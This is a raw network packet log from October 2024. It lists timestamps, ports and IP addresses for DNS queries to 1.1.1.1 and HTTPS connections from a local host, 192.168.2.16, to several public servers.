Oct 24, 2024 00:26:45.185507059 CEST	63485	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:26:45.194703102 CEST	53	62970	1.1.1.1	192.168.2.16
Oct 24, 2024 00:26:45.194854975 CEST	53	63485	1.1.1.1	192.168.2.16
Oct 24, 2024 00:26:45.196155071 CEST	65236	443	192.168.2.16	142.250.186.100
Oct 24, 2024 00:26:45.317684889 CEST	59986	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:26:45.318160057 CEST	60720	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:26:45.318772078 CEST	50123	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:26:45.318772078 CEST	59242	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:26:45.327234983 CEST	53	60720	1.1.1.1	192.168.2.16
Oct 24, 2024 00:26:45.327261925 CEST	53	59986	1.1.1.1	192.168.2.16
Oct 24, 2024 00:26:45.327665091 CEST	53	59242	1.1.1.1	192.168.2.16
Oct 24, 2024 00:26:45.328447104 CEST	53000	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.328615904 CEST	53	50123	1.1.1.1	192.168.2.16
Oct 24, 2024 00:26:45.329480886 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.506062984 CEST	65236	443	192.168.2.16	142.250.186.100
Oct 24, 2024 00:26:45.570327044 CEST	57429	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:26:45.570588112 CEST	63905	53	192.168.2.16	1.1.1.1
Oct 24, 2024 00:26:45.580307007 CEST	53	63905	1.1.1.1	192.168.2.16
Oct 24, 2024 00:26:45.612974882 CEST	53	57429	1.1.1.1	192.168.2.16
Oct 24, 2024 00:26:45.633163929 CEST	53000	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.633382082 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.915824890 CEST	443	65236	142.250.186.100	192.168.2.16
Oct 24, 2024 00:26:45.915940046 CEST	443	65236	142.250.186.100	192.168.2.16
Oct 24, 2024 00:26:45.916702986 CEST	65236	443	192.168.2.16	142.250.186.100
Oct 24, 2024 00:26:45.922858000 CEST	443	65236	142.250.186.100	192.168.2.16
Oct 24, 2024 00:26:45.922868967 CEST	443	65236	142.250.186.100	192.168.2.16
Oct 24, 2024 00:26:45.922880888 CEST	443	65236	142.250.186.100	192.168.2.16
Oct 24, 2024 00:26:45.922887087 CEST	443	65236	142.250.186.100	192.168.2.16
Oct 24, 2024 00:26:45.923485041 CEST	65236	443	192.168.2.16	142.250.186.100
Oct 24, 2024 00:26:45.923635006 CEST	65236	443	192.168.2.16	142.250.186.100
Oct 24, 2024 00:26:45.924298048 CEST	65236	443	192.168.2.16	142.250.186.100
Oct 24, 2024 00:26:45.925446987 CEST	65236	443	192.168.2.16	142.250.186.100
Oct 24, 2024 00:26:45.925657988 CEST	65236	443	192.168.2.16	142.250.186.100
Oct 24, 2024 00:26:45.927747965 CEST	443	53000	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:45.927756071 CEST	443	53000	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:45.927763939 CEST	443	53000	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:45.928329945 CEST	53000	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.930686951 CEST	53000	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.930783987 CEST	53000	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.931058884 CEST	53000	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.931190968 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:45.931214094 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:45.931220055 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:45.931781054 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.933048010 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.933130026 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.933315992 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:45.951076031 CEST	65236	443	192.168.2.16	142.250.186.100
Oct 24, 2024 00:26:46.057441950 CEST	443	53000	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.057502031 CEST	443	53000	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.057630062 CEST	443	53000	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.057647943 CEST	443	53000	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.057651997 CEST	443	53000	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.057900906 CEST	53000	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.057981014 CEST	53000	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.058794975 CEST	443	53000	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.058939934 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.058964014 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.059390068 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.060028076 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.060034037 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.060458899 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.060693979 CEST	443	53000	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.060805082 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.086035013 CEST	53000	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.086276054 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.173208952 CEST	443	65236	142.250.186.100	192.168.2.16
Oct 24, 2024 00:26:46.173228979 CEST	443	65236	142.250.186.100	192.168.2.16
Oct 24, 2024 00:26:46.173640013 CEST	65236	443	192.168.2.16	142.250.186.100
Oct 24, 2024 00:26:46.173832893 CEST	65236	443	192.168.2.16	142.250.186.100
Oct 24, 2024 00:26:46.184731007 CEST	443	53000	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.186413050 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.198707104 CEST	443	65236	142.250.186.100	192.168.2.16
Oct 24, 2024 00:26:46.210359097 CEST	53000	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.212500095 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.213320971 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.213517904 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.341053009 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.381417990 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.382078886 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:46.382391930 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.964493036 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.964719057 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.985706091 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.986032009 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.986361980 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:46.986486912 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.009099960 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.009254932 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.010682106 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.010808945 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.011704922 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.012013912 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.012671947 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.012939930 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.047586918 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.047708988 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.092796087 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.098918915 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.098987103 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.099165916 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.099231005 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.113915920 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.117989063 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.118277073 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.118577003 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.118841887 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.119327068 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.123863935 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.124105930 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.135967970 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.138096094 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.144536972 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.155868053 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.155939102 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.156594038 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.158396006 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.158401012 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.158406973 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.158423901 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.158751965 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.158756971 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.159070969 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.159198046 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.159261942 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.160862923 CEST	57684	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:47.181150913 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.184119940 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.184151888 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.184351921 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.224006891 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.297493935 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.297660112 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.423676968 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.424092054 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.424547911 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.425363064 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:47.425581932 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.462085009 CEST	57684	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:47.715219021 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.715260983 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.715639114 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.715646029 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.716075897 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.717578888 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.717685938 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.718077898 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.774887085 CEST	443	57684	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:47.774900913 CEST	443	57684	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:47.774919987 CEST	443	57684	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:47.774925947 CEST	443	57684	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:47.774939060 CEST	443	57684	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:47.775386095 CEST	57684	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:47.775470972 CEST	57684	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:47.776657104 CEST	57684	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:47.777020931 CEST	57684	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:47.777177095 CEST	57684	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:47.777637959 CEST	57684	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:47.849430084 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.849456072 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.849896908 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.849896908 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.849903107 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.849914074 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.850045919 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.859411955 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.859519958 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.859525919 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.859690905 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.859698057 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.859713078 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.859719992 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.859725952 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.859751940 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.859806061 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.859833002 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.859894037 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.859951973 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.860018015 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.860071898 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.901474953 CEST	443	57684	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:47.901496887 CEST	443	57684	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:47.901772976 CEST	57684	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:47.901845932 CEST	443	57684	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:47.901895046 CEST	57684	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:47.903492928 CEST	443	57684	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:47.903508902 CEST	443	57684	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:47.903820038 CEST	57684	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:47.907793045 CEST	443	57684	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:47.908071995 CEST	57684	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:47.911493063 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.911638021 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:47.974986076 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.985654116 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.985673904 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.985687017 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.985739946 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.985873938 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.985908985 CEST	443	55914	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:47.986047029 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.986135006 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.986207008 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:47.986361027 CEST	55914	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.029436111 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.040699959 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:48.041944027 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:48.042404890 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:48.043348074 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:48.044862032 CEST	64370	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.046009064 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:48.046267986 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:48.052565098 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:48.052702904 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:48.054892063 CEST	443	57684	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.061237097 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:48.061368942 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:48.174746990 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:48.176414013 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:48.176489115 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:48.176776886 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:48.181046009 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:48.182073116 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:48.183604956 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:48.183912039 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:48.188389063 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:48.189486980 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:48.189800024 CEST	443	64356	172.64.41.3	192.168.2.16
Oct 24, 2024 00:26:48.190129995 CEST	64356	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:26:48.337091923 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.353041887 CEST	64370	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.622221947 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.622396946 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.624300957 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.624434948 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.624551058 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.625092030 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.625132084 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.625344038 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.638948917 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.644417048 CEST	443	64370	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.644603014 CEST	443	64370	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.645086050 CEST	443	64370	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.645093918 CEST	443	64370	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.645104885 CEST	443	64370	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.645369053 CEST	64370	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.645979881 CEST	64370	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.646245956 CEST	64370	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.751399040 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.751596928 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.751935005 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.752116919 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.752248049 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.752577066 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.774606943 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.774650097 CEST	443	64370	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.774697065 CEST	443	64370	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.774702072 CEST	443	64370	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.774708033 CEST	443	64370	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.774714947 CEST	443	64370	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.774719954 CEST	443	64370	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:48.774725914 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.774733067 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.774744987 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.774823904 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.774830103 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.774842024 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.774847984 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.774854898 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.774930000 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.774936914 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.775379896 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.775435925 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.775491953 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.775544882 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.775583029 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.775613070 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.775719881 CEST	64370	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.775809050 CEST	64370	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.775980949 CEST	64370	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.776029110 CEST	64370	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.776089907 CEST	64370	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:26:48.878273010 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.893424988 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.893734932 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.901844025 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902182102 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902189016 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902196884 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902201891 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902209044 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902215004 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902231932 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902281046 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902287960 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902299881 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902317047 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902323008 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902328968 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902342081 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902348042 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902369976 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902375937 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902383089 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902396917 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:48.902601957 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.902700901 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.902757883 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.903034925 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.903147936 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.903233051 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.903290987 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.903352022 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.903458118 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.903491974 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.903532982 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:48.925077915 CEST	443	64370	142.251.116.94	192.168.2.16
Oct 24, 2024 00:26:49.097157955 CEST	50039	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:26:49.232798100 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.233954906 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.233963013 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.233968019 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.233975887 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.233989954 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.233995914 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234002113 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234009027 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234014988 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234026909 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234034061 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234045982 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234050989 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234056950 CEST	443	50039	104.17.24.14	192.168.2.16
Oct 24, 2024 00:26:49.234100103 CEST	443	50039	104.17.24.14	192.168.2.16
